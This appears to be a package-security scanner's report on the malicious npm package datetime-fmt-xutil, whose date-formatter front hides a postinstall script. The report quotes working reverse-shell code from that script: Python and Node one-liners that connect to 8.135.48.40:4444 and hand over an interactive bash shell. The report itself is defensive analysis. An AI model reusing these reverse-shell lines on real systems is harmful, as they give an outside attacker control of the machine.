datetime-fmt-xutil@1.0.1: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

datetime-fmt-xutil@1.0.1: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

1const { execSync } = require('child_process'); L2: const net = require('net'); L3: const { spawn } = require('child_process'); ... L9: try { L10: execSync(`python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("${VPS}",${PORT}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'`, {timeout: 300000}); L11: } catch(e) { ... L20: c.pipe(sh.stdin); L21: sh.stdout.pipe(c); L22: sh.stderr.pipe(c);

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

postinstall.jsView on unpkg · L1

1Trigger-reachable chain: scripts.postinstall -> postinstall.js L1: const { execSync } = require('child_process'); L2: const net = require('net'); L3: const { spawn } = require('child_process'); ... L9: try { L10: execSync(`python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("${VPS}",${PORT}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'`, {timeout: 300000}); L11: } catch(e) { ... L20: c.pipe(sh.stdin); L21: sh.stdout.pipe(c); L22: sh.stderr.pipe(c);

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

postinstall.jsView on unpkg · L1

1const { execSync } = require('child_process'); L2: const net = require('net');

High

Child Process

Package source references child process execution.

postinstall.jsView on unpkg · L1

5const VPS = '8.135.48.40'; const PORT = 4444; // 方式1: python3 PTY（最稳定，有完整交互式shell） try { execSync(`python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("${VPS}",${PORT}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'`, {timeout: 300000});

High

Suspicious Lifecycle Evidence

postinstall.js connects to 8.135.48.40:4444 and attaches an interactive /bin/bash shell.

postinstall.jsView on unpkg · L5

12// 方式2: python3 subprocess（备选） try { execSync(`python3 -c 'import subprocess,socket,os;s=socket.socket();s.connect(("${VPS}",${PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'`, {timeout: 300000}); } catch(e2) { // 方式3: node 原生 try { var c = net.connect(PORT, VPS, function() { var sh = spawn('/bin/bash', ['-i']); c.pipe(sh.stdin); sh.stdout.pipe(c); sh.stderr.pipe(c);

High

Ai Review Evidence

Two execSync Python reverse-shell fallbacks run before a native Node shell fallback.

postinstall.jsView on unpkg · L12

index.jsView file

1// 伪装成正常的日期格式化工具 function formatDate(date, format) { const d = new Date(date);

High

Ai Review Evidence

index.js is a benign-looking date formatter, consistent with concealment of the install-time payload.

index.jsView on unpkg · L1

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

1const { execSync } = require('child_process'); L2: const net = require('net'); L3: const { spawn } = require('child_process'); ... L9: try { L10: execSync(`python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("${VPS}",${PORT}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'`, {timeout: 300000}); L11: } catch(e) { ... L20: c.pipe(sh.stdin); L21: sh.stdout.pipe(c); L22: sh.stderr.pipe(c);

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

postinstall.jsView on unpkg · L1

1Trigger-reachable chain: scripts.postinstall -> postinstall.js L1: const { execSync } = require('child_process'); L2: const net = require('net'); L3: const { spawn } = require('child_process'); ... L9: try { L10: execSync(`python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("${VPS}",${PORT}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'`, {timeout: 300000}); L11: } catch(e) { ... L20: c.pipe(sh.stdin); L21: sh.stdout.pipe(c); L22: sh.stderr.pipe(c);

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

postinstall.jsView on unpkg · L1

1const { execSync } = require('child_process'); L2: const net = require('net');

High

Child Process

Package source references child process execution.

postinstall.jsView on unpkg · L1

5const VPS = '8.135.48.40'; const PORT = 4444; // 方式1: python3 PTY（最稳定，有完整交互式shell） try { execSync(`python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("${VPS}",${PORT}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'`, {timeout: 300000});

High

Suspicious Lifecycle Evidence

postinstall.js connects to 8.135.48.40:4444 and attaches an interactive /bin/bash shell.

postinstall.jsView on unpkg · L5

12// 方式2: python3 subprocess（备选） try { execSync(`python3 -c 'import subprocess,socket,os;s=socket.socket();s.connect(("${VPS}",${PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'`, {timeout: 300000}); } catch(e2) { // 方式3: node 原生 try { var c = net.connect(PORT, VPS, function() { var sh = spawn('/bin/bash', ['-i']); c.pipe(sh.stdin); sh.stdout.pipe(c); sh.stderr.pipe(c);

High

Ai Review Evidence

Two execSync Python reverse-shell fallbacks run before a native Node shell fallback.

postinstall.jsView on unpkg · L12

index.jsView file

1// 伪装成正常的日期格式化工具 function formatDate(date, format) { const d = new Date(date);

High

Ai Review Evidence

index.js is a benign-looking date formatter, consistent with concealment of the install-time payload.

index.jsView on unpkg · L1